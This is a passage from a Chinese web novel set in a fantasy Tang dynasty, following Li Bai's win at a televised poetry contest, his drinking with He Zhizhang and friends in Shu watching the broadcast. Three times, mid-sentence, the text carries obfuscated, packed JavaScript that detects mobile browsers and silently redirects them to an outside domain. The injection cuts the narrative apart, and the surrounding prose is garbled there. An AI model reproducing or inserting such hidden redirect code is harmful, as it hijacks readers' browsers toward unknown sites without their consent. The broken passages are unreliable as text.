“说不定此番比赛过后,还会出现陈子昂、孟浩然这样的才子,甚至还能超过他们呢!”贺知章恢复了往日的洒脱,高声道。 李琎适时说:“张相,贺监,时候差不多了,不如就宣布比赛开始吧。” 主审台前挂着的枣红色幕布没能拦住场下观众的热情,各色方言交织在一起,沸沸扬扬地讨论着比赛相关内容。 贺知章看向张九龄:“张相以为呢?” “开始吧。”张九龄正了正衣冠,示意在一旁侍立的司礼官宣布比赛开始。 幕布缓缓拉开,观赛区渐渐安静。身穿华服的王孙贵族在高搭的凉棚下轻摇团扇,绕赛场一周的水渠旁或站或蹲着麻衣百姓,高个子替矮个子挡住炙热的阳光,这从曲江引来的清凉与头顶的烘烤相比终究还是略逊一筹。 按照比赛流程,首先是将圣人御用诗牌供到主审台前的圆台上。唐明皇李隆基在皇宫里诗牌的那头观看,高力士朗声宣读圣谕。上至王孙贵族,下至平民百姓无不跪倒听训。 好在圣人也十分期待这季《大唐好诗歌》,圣谕内容简明扼要。司礼官也紧随圣意,将大套解说词省略去,介绍完三位评审后即宣布第一位参赛选手登场。 日头越发毒了,神采飞扬的绿豆水小贩往来穿梭于晒蔫的水渠两岸。一个黑皮汉子拦下小贩,要了碗绿豆水,却听旁边一个白面书生低呼:“哎呀糟糕糟糕,怎么才一会的功夫诗牌就缺能了?” “你一直在留声拓影,当然耗能快了。”黑皮汉子嘴上不屑,却已经从口袋里掏出灵盘,“给,拿去充能吧。” 书生如获至宝,连连道谢:“多谢义士!实不相瞒,小生这是第一次用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周围的人听罢投来羡慕的目光,妇人微微昂头,似乎很享受这种瞩目感。但很快,这种瞩目感就又回到了主审台上,第五位“诗俊”表演结束,三位评委给出等级,司礼官引导他到后台休息,因不慎被绳索绊倒,险些摔下台去,引来一阵哄笑。 李琎给了司礼官一个警告的眼神,却并未苛责,转而打了个哈欠,靠在酸枣木椅上,翻看着自己的评分薄,仅一个乙等,余者尽是丙等。 “贺监您说,是小王要求过高,还是……” 贺知章凑过来看了看李琎的评分薄,又偏过头去看张九龄的满纸“丙”字,将自己那二乙三丙的评分薄向前一推,大笑道:“何必着急呢!这不才五人么,说不准这一届,好戏都在后头。若论要求高,说句冒犯的话,您还能高过张相吗?” 张九龄轻咳一声,正色道:“非是某严苛,这评判标准是圣人定下的。甲等者,诗体诗意俱新,开古来未有之境,彰当下盛世之风。乙等者,体式或循古法,然意旨必发新声。丙等者,辞章平实,未越雷池;格律中矩,不犯八病。丁等辞俚意浅,或堆砌典故如獭祭鱼,或空言风月似鹦学舌。” 说到这,张九龄的目光扫过评分薄旁的诗稿,摇头苦笑道:“由此观之,先前五子之诗仅能算作中规中矩,实在难评乙等。” 贺知章换了个坐姿,对李琎说:“汝阳王您看,张相连乙等都难给,何谈甲等?” 李琎揉了揉眼睛,抹去因为打哈欠而流出的眼泪,懒洋洋道:“那便继续往下看吧,六号诗俊诵诗完毕,也该中场休息了。” 司礼官在主审台东侧高声念着第六位诗俊的名字,抹了一把头上的汗,埋怨天气太热,礼服太厚重,叫自己好似落汤鸡一般,浑身汗臭黏腻,只怕此前殿前沾的龙涎香也遮不住了。他在心里默默祈祷,希望这场赛事赶快结束,回去换下这身恼人的衣服。 5. 明月出天山(下) 杏花坳西侧的撷香园中,三位评委在膳使的服侍下共用午膳。 贺知章欲取食案下的秘色瓷酒注,却被张九龄轻轻按住手腕。 “贺监,这酒不着急喝,待看过甲等诗再饮,岂不更美?” 贺知章讪讪地收回手,颇有些无奈道:“张相的眼睛就是尺!老夫又不贪杯,只求解馋!” 张九龄不语,只是笑着摇摇头,把自己面前的葱醋鸡推到贺知章面前。 “还是张相记性好,不但背的过那样长的评诗标准,还能记得老夫最爱这葱醋鸡!” 张九龄轻笑一声,接过膳使递过来的手帕轻拍唇角,李琎忽然说:“听说三日前,醉仙楼来了个蜀地狂生,称这六月天能飞雪。小王那日被召进宫,没能亲临现场观看这场‘六月飞雪’,深感遗憾啊。听闻此人也是位诗俊?” “正是。不过王爷不必遗憾,如今诗牌上尽是那日‘飞雪’的场景。”贺知章掏出自己的诗牌,“四明狂客”的界面上,#醉仙楼飞雪##青莲剑歌#的话题热度还在飙升。 李琎也拿出自己的诗牌,饶有兴致地看着自己的“移封酒泉”下浩浩荡荡的评论。忍俊不禁道:“如今‘青莲剑歌’千机引炙手可热的程度,恐怕要超过当年的‘狂歌客’了!” “‘曲江兰叶’觉得呢?”贺知章看向张九龄,却见张九龄眉头微蹙。 “此子行事确乎狂放不羁,只是……诗才是否真如传闻般惊世,尚需亲眼验证。狂士易得,大才难求啊。” 侍者奉上香茗。贺知章呷了一口,随即就把茶杯放下:“张相严谨。李太白这番造势之举,颇有当年陈伯玉千金碎琴之风!此等人物,当在第几位登场?老夫倒有些迫不及待了。” 张九龄闻言,目光投向司礼官。司礼官感受到相爷的目光,颤颤巍巍地呈上花名册。 张九龄接过花名册,指尖划过一个个名字,直到第六位“蜀中李白”时忽然顿住,方才诵诗的分明是花名册上第七位诗俊! “嗯?”张九龄脸色一沉,威严的目光扫向侍立一旁的司礼官,“名册次序,何以擅自改动?李白之名,为何略过?” 司礼官闻言,脸色惨白,衣襟已被汗水浸透,仍强作镇定:“李郎君昨日申时才验牌,按例当顺延至末位……” 张九龄手指敲在这蜀中狂生的名讳上:“好个‘顺延’。本相竟不知,司礼署多了个验诗牌定顺序的规矩,这么一说,各地呈报上来的‘诗俊’名单是多此一举了?” 司礼官瞬间面如土色,“扑通”一声跪倒,额头触地,声音发颤:“相爷恕罪!王……王爷恕罪!贺监恕罪!是……是那李白,他……他给了小人些许银两,央求小人将他安排到最后出场……小人一时糊涂,想着评审未必细查名册,便……便应允了!小人该死!小人该死!” “胡闹!”张九龄拍案而起,一改往日的温婉谦和,“赛事乃朝廷盛典,自有规制!岂容尔等私下交易,扰乱秩序?此等行径,视朝廷法度为何物!” 气氛骤然紧张。李琎见状,连忙起身打圆场,温言道:“张相息怒。此事虽不合规矩,然则李白此人,行事本就异于常人。醉仙楼之举已显其志在必得,或恐压轴登场,更能一展其狂狷本色?贺监以为如何?” 贺知章捻须大笑:“王爷此言有理!老夫倒觉得,此子颇通造势之道,压轴出场,万众瞩目,正合其意。些许小节,无伤大雅。子寿,不如就顺了他的意?也好瞧瞧他究竟有何等本事,值得如此大费周章。” 张九龄看着贺知章兴致勃勃、李琎息事宁人的态度,又瞥了一眼抖如筛糠的司礼官,最终无奈地叹了口气,挥挥手:“罢了!既已如此,便按此名册进行。下不为例!” 司礼官如蒙大赦,连声称谢,冷汗已浸透后背。 午间小憩过后,三位评审重新回到主审台。 “听说当年第二季《大唐好诗歌》也是在这样一个艳阳天。”贺知章眯起眼睛看着午后西转的日头,“上官昭容觉得无趣,午后便回了宫里,让贴身女官代为评诗。哦对了,她当时坐的位置正是老夫现在坐的位置。” “此一时彼一时耳。”张九龄在小憩后重新给朝服熏了香,淡雅的香气幽幽散开,消解了部分暑气,“当年伯玉率先登台,王杨卢骆紧随其后,双方相斗已经把朱雀门诗板闹了个天翻地覆。才高如上官昭容,为他们批下甲等后,哪里还看的下其他诗作?自然是阑珊而归。” “巧了,这第三季恰好颠倒过来,好戏在后头呢!”补足了觉的李琎又精神饱满地将评分薄摊开,示意司礼官继续“依次”唱名。 午后最容易叫人疲惫,随着比赛后半场的进行,有些观众已经离席。一位身穿华服的贵妇人扯了扯身旁紫袍男子的衣袖,以团扇掩面,轻声道:“郎君,不如回去吧,今年的‘诗俊’也不过如此……” “你个妇道人家,懂得什么!”紫袍男子打断她,“那日醉仙楼飘雪,你只顾找你那八饼,不肯随我去看。这蜀中李白如此造势,要的就是不鸣则已,一鸣惊人。” 见夫人面带不悦,男子立马由皱眉转为赔笑,缓和语气安慰:“夫人稍安勿躁,且看看这个狂生如何表演。” 正说着,司礼官已唱名到最后一位诗俊:“下一位——蜀中,李白!” 声音在偌大的会场回荡,却无人应答。 “蜀中李白!”司礼官提高音量,目光扫向入场口。 依旧寂静。台下开始响起细微的议论声,诗牌的光点闪烁得更快了,显然观众们也在“以诗会友”上热议这突如其来的冷场。 “李白!速速登场!”司礼官第三次呼喊,已带上了焦急。 入口处依然空无一人。骚动在观众席蔓延开来,疑惑、猜测、甚至幸灾乐祸的低语交织。 李琎转向张九龄和贺知章,低声询问:“二位,这……” 张九龄面色严肃,沉声道:“赛事有规,选手缺席视为弃权。”他闭目沉思,少顷睁开眼,目光如潭水般平静而深邃,“燃半柱香,若香尽人未至,便按弃权论处。” 侍从在评审席前点燃了一支细香,青烟袅袅升起,牵动着所有人的心弦。 贺知章虽未说话,但眼神中也掠过一丝不易察觉的失望。难道这声势浩大的开场,竟要以闹剧收场? 此刻,会场侧门外,正上演着另一幕。 “迟到”的诗俊李白正慢条斯理地往会场走,他一身白衣,腰间赫然悬着那柄在蜀道上令劫匪闻风丧胆的宝剑。与其说是他独自赴赛,倒不如说他与剑为伴,让诗篇与剑舞交织融合,为诵诗锦上添花。 行至赛场侧门,两名值守的金吾卫甲士如铁塔般挡在门前,目光锐利如鹰隼。李白嘴角微微上扬,随手一抛,腰间诗牌落到了较高的那名金吾卫手中。 “大赛规矩,我懂,只是二位军爷最好把我这诗牌单独锁在一个匣子里,我怕消息太多,吵得二位不安生!” 果不其然,“青莲剑歌”的诗牌抖动不已,显然是李白故意关了静息。 “诗牌留下,剑,也留下!”高个子金吾卫手按刀柄,厉声喝道。 李白一怔,但脸上笑意不减,手捂住剑柄解释道:“二位军爷,此乃诗舞道具。上一季魁首陈子昂先生,不也曾……” “陈先生是陈先生!”另一个满脸麻子的金吾卫毫不客气地截断话头,语气冰冷,“彼时乃特例,今日不同,上头严令,凡入会场者,不得携带任何开刃利器!你这把剑,寒光凛冽,分明是真家伙!速速解下!” 李白眉头紧锁,千算万算,竟算漏了这一步。当年陈子昂佩剑登台,诗与剑俱绝,故而赢得了评审团的一致甲等。李白自认剑术不输陈子昂,故而有意模仿,可这突如其来的禁令,打乱了他的计划。 主审台上张九龄的决策声,观众席上的讨论声如鞭子般抽在李白的心头,他咬牙做了最后的争辩:“军爷,此剑只为助兴诗情,绝无他意!且……” “休得多言!”两名金吾卫异口同声,态度强硬,“要么解剑,要么离开!这是规矩!” 时间紧迫,李白看了一眼那紧闭的侧门,又低头看了看陪伴自己多年的宝剑,眼中闪过一丝决然。他猛地抬手,“锵啷”一声,干脆利落地解下佩剑,动作带着一丝被冒犯的傲气:“拿去!” 麻子脸正伸手欲接,却听一声“且慢”,李白手腕一翻,剑并未落入对方手中,而是被他反手“啪”地一声,重重拍在门旁的石鼓墩上。剑鞘与石墩相击,发出沉闷的响声。 “此剑,乃我李白之魂!既不容带入,便让它在此静候!” 李白冷声回应,望向侧门,再把目光落到金吾卫脸上时,嘴角带起一抹睥睨的笑意,举起自己修长有力的右手道:“某的剑,自在心中。” 说罢,他不再看那被扣下的佩剑一眼,猛地推开那扇沉重的侧门。而与此同时,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275800|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一缕香灰即将跌落。 “砰!” 张九龄手中的茶盏猛的一震,李琎倏的坐直了身子,贺知章脸上绽开笑容,只见一道白色的身影如惊鸿,似游龙,挟着一阵风,疾掠而入,稳稳落在舞台中央——正是李白! 他发髻微乱,额角带汗,一袭白衣沾染了些许尘土,腰间空空如也,却丝毫无损其飞扬的神采。他对着评审席和观众团团一揖,朗声道:“蜀人李白在此!惊扰诸位,万望海涵!实非有意迟来,只怪那醉仙楼外,仰慕者甚众,将道路围得水泄不通,在下费尽九牛二虎之力,方得脱身!惭愧,惭愧!” 他稳住气息,眼神明亮狡黠,卢玉生提前摸清的近道帮了他大忙,虽然进门前经历了一番小波折,但终归还是掐住了这惊心动魄的最后一刻。 不待众人反应,李白已从袖中取出一卷诗稿,一式三份,双手奉上:“此乃拙作《蜀道难》,请诸位大人斧正!” 侍者将诗稿呈至评审席。李琎最先接过,展开一看,顿时轻“咦”一声,面露惊异。只见那素纸上行书奔放,竟是以璀璨的金粉研墨书写而成!落日余晖打在纸面上,字字金光流转,灿然生辉。 “金墨?好大的手笔!”李琎惊叹道。 张九龄初看时眉头紧蹙,对这等近乎僭越的炫目方式显然不喜。然而,当他目光扫过那惊心动魄的诗句,读到“所守或匪亲,化为狼与豺”一句时,心头那份对僭越的不满最终被这才气冲淡,紧锁的眉头也舒展开,眼神中流露出赞许之色,心中暗赞:“此子狂则狂矣,然胸中确有丘壑!此句……切中时弊,发人深省!” 贺知章接过诗稿,凑近仔细端详,随后越看越快,越看越激动,口中啧啧有声:“连峰去天不盈尺,枯松倒挂倚绝壁!……妙!绝妙!”他随着诗的韵脚,用指节敲击着桌面,口中反复吟哦,兴奋之情溢于言表。 “诗成矣!请容李白献丑!”李白一声清啸。早已候在场边的卢玉生怀抱琵琶,五指轮扫,一串金戈铁马般的裂帛之音骤然响起。 李白身形随乐而动,他腰间无剑,却以指为锋,以臂为刃,以身为杆。那看似随意的步伐、手势,竟蕴含着比真剑更为凌厉的“意”。他时而如猿猱攀援绝壁,时而如飞鸟掠过深渊,时而驻足长啸,声震林木。口中吟诵之声,更是与琵琶声、身形完美融合。 “噫吁嚱,危乎高哉!蜀道之难,难于上青天!蚕丛及鱼凫,开国何茫然!尔来四万八千岁,不与秦塞通人烟……” 他的声音时而高亢入云,如黄鹤之飞不得过;时而低沉呜咽,如子规夜啼愁空山。那磅礴的想象,奇崛的意象,奔放的情感,通过他充满力量与韵律的吟诵和那虽无剑器却剑气纵横的“心剑之舞”,淋漓尽致地展现在所有人面前。整个会场仿佛被他的气势所慑,鸦雀无声,唯有那穿云裂石的诗句与激越的琵琶声在空中回荡。 诗毕,琵琶声止。李白收势而立,气息微喘,目光如电,扫视全场。短暂的死寂之后,是山呼海啸般的喝彩!掌声、惊叹声、诗牌疯狂拓影声此起彼伏。 评审席上,张九龄深吸一口气,提笔,在评分博上郑重写下了一个罕见的“甲”字。李琎亦含笑落笔,同样是一个耀眼的“甲”。 贺知章更是激动得不能自已,他径直离席,冲下评审台,一把拉住李白的手,上下打量,眼中满是激赏与惊叹。 “好!好一个谪仙人!太白,你非凡尘中人,定是那天上贬谪下来的仙人!无剑胜有剑,此舞更见真性情!” 他竟全然不顾尚未结束的比赛流程,拉着李白就往场外走:“走走走!莫在此处耽搁!如此仙音妙句,岂能无酒?老夫做东,今日定要与你痛饮三百杯!” “此等好事,怎么能没有本王?”李琎也不甘示弱,大笑着起身跟上。 张九龄看着贺知章拉着李白远去的背影,以及紧随其后的李琎,无奈地摇头失笑。他整了整衣冠,走上台前,对着犹自沉浸在震撼中的观众宣布:“第三季《大唐好诗歌》决赛结果已定!魁首得主——蜀中,李白!”台下再次爆发出雷鸣般的掌声与欢呼。 当夜,朱雀门诗板彻底沸腾。榜首位置,金光璀璨的大字滚动不息: #青莲剑歌登顶第三季《大唐好诗歌》# #贺监力赞谪仙人# 而在诗板飞速滚动的信息流最末端,一条不起眼的消息悄然滑过: #云间鹳雀坠入诗冢# 6. 高楼当此夜 窗外长安华灯初上,朱雀大街上人流如织,醉仙楼雅阁内却是另一番光景:杯盘狼藉,酒香四溢,空气中弥漫着快意与恣肆。 贺知章满面红光,雪白的须发略显凌乱,此刻却更添几分名士疏狂。他握着李白的手腕,力道极大,仿佛生怕这“谪仙”飞回天上去。两人中间的地上,已倒了好几个空空的酒坛。汝阳王李琎不胜酒力,半个时辰前已被王府家仆小心翼翼地接走了。 “痛快!太白啊太白,今日当真是痛快!”贺知章拍着案几,震得杯盏叮当作响,“张子寿那张万年不变的严肃脸,最后不也变了笑脸,写了‘甲’字?他那表情,啧啧,够老夫乐上一年!” 他又满饮一大杯,目光落在侍立李白身后的卢玉生和吴十九身上。卢玉生垂手恭立,眉宇间带着温和的笑意;吴十九身材挺拔,怀抱长剑,眼神沉静如渊—— 他在场外看到李白并未如准备的那样舞剑诵诗,预感不妙,想必是在进场时受到了为难。他绕到场后一打听,果然是被金吾卫扣下了剑。 正当他要与金吾卫争执时,忽然听到了贺监高呼“谪仙人”,知道李生果然如预期般夺得了魁首,说话更添了几分底气,成功取回了剑。金吾卫讪讪地捧剑模样,每次回想起都会让吴十九忍俊不禁。 贺知章醉眼朦胧,指着二人问道:“太白,你身边这两位小友,看气度亦非俗流。今日那琵琶裂帛之音,可是这位郎君所奏?”他目光转向卢玉生。 李白笑着点头:“贺监慧眼。正是我这玉生兄弟。从小便是如此,我在堂前读书,他便在廊下抚琴;我吟一句诗,他即能配一段调。此番入京,全赖他的丝弦助阵。” “好!琴艺通神,与你诗魂相得益彰!”贺知章又看向吴十九,对方抱剑的姿势透着股内敛的锋芒,“这位兄弟……气势如岳峙渊渟,身上有杀气,是行伍出身?” 李白眼中闪过一丝追忆与暖意:“贺监说对了一半。他叫吴十九,父母质朴,未给他起大号。他虽不是行伍出身,手下功夫可也不差。” 说着,李白比划了个持剑的姿势:“他自小便随祖父习武,练得一手好剑法,性子如同出鞘之剑,锋锐不折。自我习剑起,他便是我最稳固的对手与磨刀石。” 顿了顿,李白收回目光,重新看向贺知章:“听说我要来长安夺这劳什子魁首,他俩比我还上心,死活要跟来,说是要帮忙,其实啊,怕是也想看看这长安城,究竟是怎生模样!” 李白说完爽朗大笑,卢玉生和吴十九也露出了轻松的笑容。卢玉生谦逊地向贺知章微微拱手,吴十九则是沉稳地点了点头。 贺知章听得连连点头,眼神中流露出慈爱与赞赏:“难得!难得啊!情深义重,同行万里路!太白有友如此,是福分!来,两位小郎君,一起坐下,同饮一杯!莫要拘礼!” 卢玉生忙推辞道:“贺监盛情,晚辈心领。职责在身,不敢贪杯。” 吴十九更是言简意赅:“护卫之责,不敢懈怠。” 贺知章也不强求,拍着李白的肩膀:“好!有这等忠肝义胆的挚友相伴,太白日后在长安,更当如鲲鹏展翼,扶摇九万里!” 两人又畅聊许久,从蜀中山水的险峻到长安的繁华,从陈子昂的轶事到前朝诗人谢眺。酒至酣处,贺知章再次提起“谪仙”之论,李白借着酒兴,意气风发,直抒胸臆,论及诗道抱负,听得贺知章拍案叫绝,大呼“吾道不孤”。 眼看夜色已深,陈掌柜堆着笑容,小心翼翼地躬身进来,双手呈上账单:“贺监,李郎君,小店承蒙照顾,这是今日的账目。” 贺知章笑着要从怀中取钱,却摸了个空,脸上的醉意消散了几分,继而化作一丝尴尬的苦笑。他在身上摸索了几下,脸色微变:“哎呀!定是走得匆忙,把钱袋落在杏花坳了!” 李白见状,笑着解围:“贺监莫急,今日晚辈侥幸得魁,这顿酒合该我来作东。” 说着便要去拿钱袋。 陈掌柜何等机灵,连忙摆手:“使不得!使不得!李郎君为长安添此盛事,小店蓬荜生辉!这点酒钱,小店作东,就当为贺监与谪仙人贺喜了!” “不成!岂有此理!”贺知章一摆手,声音虽带着酒意却斩钉截铁。他扶着桌子站起身,醉眼惺忪中透着一股不容置喙的威严。 “老夫做东,岂有赊欠之理?更岂能让你等免单?” 他的目光落在腰间的金龟符上,这个三品官员身份的凭证正随着他起身的动作轻轻晃动,在烛火下反射出厚重而温润的光芒。 贺知章没有丝毫犹豫,伸出略有颤抖的手,干脆利落地解下系着金龟的丝绦,随手便将它“啪”地一声拍在了放满空酒杯的桌案上。 “陈掌柜!此物暂且押在你处!” 那金龟符落在杯盏之间,发出沉闷的响声。整个雅阁瞬间陷入一片死寂。 陈掌柜的脸唰一下白了,额头瞬间布满冷汗。金龟符!这可是天子钦赐的身份象征,代表了秘书少监的尊贵地位!押酒账?这简直闻所未闻! 他扑通一声跪下,连连叩首,声音都带了哭腔:“贺监!折煞小人也!小店能沾仙气已是造化,怎敢收这等御赐之物折寿!” 卢玉生和吴十九也是神色剧震。吴十九身子一僵,眉头紧锁。卢玉生则低呼一声:“贺监!此乃信物!不可!” 唯有李白,在短暂的错愕之后,眼中爆发出前所未有的神采。他看着桌上那荣耀的金龟,又看向面前这位醉态可掬却豪情不减的老人。这位老人,不惜以代表身份和荣耀的信物,只为证明他心中那份“今日痛饮之约重逾千钧”的信念,只为表达对他这位“谪仙”发自肺腑的推崇与认可! 一种滚烫的、超越了酒劲的激流在李白胸中奔涌。这一刻,名位、符信似乎都化作了浮云,只剩下肝胆相照的纯粹。 李白没有去阻止,反而放声大笑,笑声冲破楼宇。他一把拉住惊慌失措的掌柜,另一只手却高高举起酒杯,对着贺知章,朗声道: “贺监以金龟换酒,这份豪情,这份知遇,李太白……生受了!我李白今日对天起誓,他日必当十倍奉还此酒!不!百倍!千倍!以诗文相酬,以肝胆相照,以毕生报此知遇!”他声音激昂,字字铿锵。 贺知章醉眼迷离地看着李白,嘴角扬起满足的笑容,仿佛押出去的不是金龟,而只是一枚普通的开元通宝。 他指着李白:“好!好一个‘以毕生报此知遇’!谪仙人之诺,老夫记下了!哈哈哈!值!今日,纵舍此金龟,换太白一诺,夫复何求?值!太值了!” 他又冲着已经吓傻的陈掌柜摆手:“起来!怕什么!收好!明日自有人持钱来赎!”说罢,竟似完全放下心事,身子一歪,靠在凭几上,须臾间便响起了细微的鼾声,脸上犹带着畅快淋漓的笑意。 李白看着这位睡去的忘年知己,再看看桌上那枚重逾千斤的金龟符,胸中诗情如东海潮水般翻腾不息。烛火跳跃,映照着桌上那枚金龟,也映照着两颗因诗酒而紧密相连的心灵。 贺府家仆小心接回醉倒的秘书监大人,醉仙楼雅阁内只剩下李白、卢玉生和吴十九。喧嚣散去,唯余窗外长安夜市隐隐的笙箫与雅阁内未散的酒香。李白并未醉倒,反而更加清明,他斜倚在窗边的软榻上,手持着自己的诗牌,指尖在泛着幽蓝微光的界面上随意滑动。 诗牌主屏被#青莲剑歌登顶第三季《大唐好诗歌》魁首##贺监金龟换酒#霸占,下面是如同奔涌江河般的评论,层层叠叠,刷新速度快得几乎看不清。 【《蜀道难》真乃天授!跪求诗稿拓本! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275801|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【贺监金龟换酒,真名士风流!李白好大的面子!】 【求谪仙人下一季当评委!】 各种赞叹、膜拜、好奇乃至带着点酸意的议论不断涌现。李白看得唇角含笑,眼神明亮,却带着几分俯瞰的疏离。 卢玉生在旁边小心地整理着琵琶,吴十九则安静地擦拭着刚取回的宝剑,并未打扰。 突然,李白滑动屏幕的指尖顿住了。 在一片流光溢彩、情绪高涨的评论海洋里,一条位置不显眼、措辞也显得格外严谨的评论吸引住了他: 【#青莲剑歌# 贺监以‘谪仙’相誉,实不为过。《蜀道难》雄奇恣肆,气象万千,尤以摹写山势之险峻磅礴,开古来未有之境。然仆愚钝,观诗中‘所守或匪亲,化为狼与豺’一句,似有弦外之音?其意颇深,若真有所指,恐非虚言诳语之‘仙’,乃忧世之‘谪’也。另,‘扪参历井仰胁息’之‘胁’字,初读稍觉滞涩,反复吟咏方感其状恐惧窒息之传神。此等炼字,确非凡俗能为。】 李白低低念出声,唇边的笑意扩大了些,目光落在文本前的“杜陵野客”名号上,带着玩味:这人……有点意思。 “玉生,十九,你们来看这个。”李白将诗牌递向两人。 卢玉生凑近看了,轻声道:“这位‘杜陵野客’先生,读诗倒是仔细。尤其是‘所守或匪亲’那句……竟与张相同步看出了门道?”他想起张九龄读到此句时眉头舒展的样子。 吴十九也瞥了一眼,言简意赅:“能和张相同调,算有眼力。” “是啊,”李白收回诗牌,手指在那行“恐非虚言诳语之‘仙’,乃忧世之‘谪’也”上轻轻点了点,“这个‘杜陵野客’,年纪应该不大。” 他点开对方的简易资料页,只有孤零零一个名号和注册地“洛阳”,再无更多信息。 “哦?十二郎何以见得?”卢玉生好奇。 “你看他评论。”李白轻笑,带着一丝过来人的了然,“遣词用句,看似老成持重,引经据典也规规矩矩,但字里行间憋着一股劲儿,既想表现出自己的独特见解,又忍不住要寻章摘句,显得格外认真,甚至有些……刻意。尤其是纠结那个‘胁’字,还特地解释自己初读的困惑,这不就是年轻人努力想证明自己读懂了、有见地的心思嘛?还有,‘忧世之谪’这个提法,把贺监的‘谪仙’拆开来解,胆量不小,但稍显稚嫩,硬拗了些道理,少了点通透圆融。” 他摇摇头,语气平实:“就像初握长剑的毛头小子,招式架势都要摆得十足,生怕别人看不出他练过。其心可嘉,其情也真,就是……嗯,欠些火候。” 在诗名正如日中天的李白眼中,一个身在洛阳,注册名为“杜陵野客” 的年轻学子,还发表这种虽敏锐却失之笨拙评论,自然被归入“后辈”行列。哪怕这评论确实比旁边铺天盖地的“神作”“无敌”“跪了”要强得多,显得有思考,但终究带着点少年人未经世事雕琢的生硬。 “他想读‘深’,却还未能真正‘懂深’。” 李白最后下了评语,手指又在“杜陵野客”上点了点,并未回复,也未关注,只是将这个陌生的、带着泥土气的名号记在了心里。 “洛阳的小读书郎,考进士的年纪吧?有趣。但愿别只做个书蠹①。” 他将诗牌随意丢在一旁的几案上,目光投向窗外璀璨的长安夜色。刚刚经历人生第一个巅峰的他,胸中是“诗成笑傲凌沧洲”的万丈豪情,是欲与三山五岳试比高的勃勃雄心。一个新的、潜在的竞争者或者追随者?此刻还不值得他倾注太多心神。 李白重新斟满一杯酒,对着窗外那轮亘古不变的明月,一饮而尽。卢玉生和吴十九相视一笑,也默默举杯。今夜,属于谪仙人。 7. 青泥何盘盘 与长安赛事同时,蜀中。 蜀道蜿蜒,云雾深锁。在一间四面透风,屋顶残破的简陋书社里,二十四个年轻人挤作一团,他们最大的不过二十出头,最小的才十五六,如同落难的雏鸟,瑟瑟地挤缩在屋子里唯一一片勉强干燥的角落。潮湿阴冷的霉味混合着劣质灯油燃烧后的焦糊气,在狭小的空间里凝滞、弥漫,几乎成了这群年轻人呼吸的一部分。 他们挤在用石头和烂木拼成的“条凳”上,蹲着,站着,彼此用单薄的体温互相取暖。他们褴褛的衣衫无法抵御这蜀地的湿冷,不少人嘴唇冻得发青,却浑然不觉,所有的热量仿佛都涌向了眼眶,聚焦在那个被数双手小心翼翼护在中央,正闪烁着微弱蓝光的物件上——一块闪烁着微弱蓝光的诗牌。 这是他们勒紧裤腰带,东拼西凑,甚至有人当掉了冬衣才凑够铜板买下的。为了这一刻,为了看那个曾与他们一起熬夜抄诗稿、许诺“苟富贵,勿相忘”的李十二郎,如何在长安的《大唐好诗歌》决赛上大放异彩。 “快!快!轮到第几个了?”陈十六焦急地问,声音带着焦灼的沙哑。他负责捧着诗牌,手心里全是汗。 “不知道啊!这劳什子玩意儿怎么翻页?” 旁边一个叫郑六的年轻人懊恼地戳着光滑的牌面,他们识字,但对这精巧的诗牌操作实在生疏。诗牌界面复杂,他们只勉强学会了打开“朱雀门诗板”看实时最热话题和进入大赛直通道观看比赛。 此刻,那通道画面正卡在一个模糊不清的诗俊诵诗场景,背景音嘈杂,评委们模糊的面孔似乎无甚表情,画面断断续续。 “刚才好像闪过一个‘丙’字?是不是有人被评了丙等?”一个声音从角落里不确定地传来,带着一丝压抑的恐慌。 丙等就是末流!长安高手如云,评审的标准又十分严苛,李十二能行吗? “别管那个!找找李十二的名字!花名册在哪看?”王五凑得更近,几乎把脸贴到牌面上。 一阵手忙脚乱。有人不小心划到了“拓影”功能,诗牌“咔嚓”一声,把众人惊慌失措的脸拍了下来,引来一阵低低的抱怨和哄笑。 “啊呀!怎么把我们拓进去了!” “老天爷!这牌子还会咬人?” “快关掉!快关掉!别浪费了仙气儿!” “怎么关?哪里关?” 就在大家手忙脚乱之时,又有人误触了评论框,打出一串乱码发了出去,急得直拍大腿。小小的诗牌在他们手里,显得格外娇贵又难以驯服。 “糟了!画面怎么卡住了?不动了!”陈十六的声音带着哭腔。果不其然,诗牌画面定格在某个诗俊诵读的画面,且逐渐变得模糊不清,诗俊的诵诗声时断时续。 “能量!是能量快耗尽了!”一声低沉但有力的惊呼压住了众人的慌乱。是康二。他比这群人都年长几岁,曾在州府的驿站帮工数月,见识过官家往来使用的诗牌,略懂一些门道。 “快!都别瞎戳了!把亮度调到最低!关掉所有没用的东西!” 众人屏住呼吸,像对待易碎的琉璃,小心翼翼地按照康二的指示操作。画面终于稳定了一些,但依旧模糊。他们错过了前面几个诗俊的表演,也错过了评审们平淡的反应,只隐约听到司礼官在喊一个名字,接着是长久的沉默和台下嗡嗡的议论声。 “怎么回事?李十二呢?” “是不是错过了?都怪我们没弄明白!” “这都快酉时了,是不是……已经结束了?” 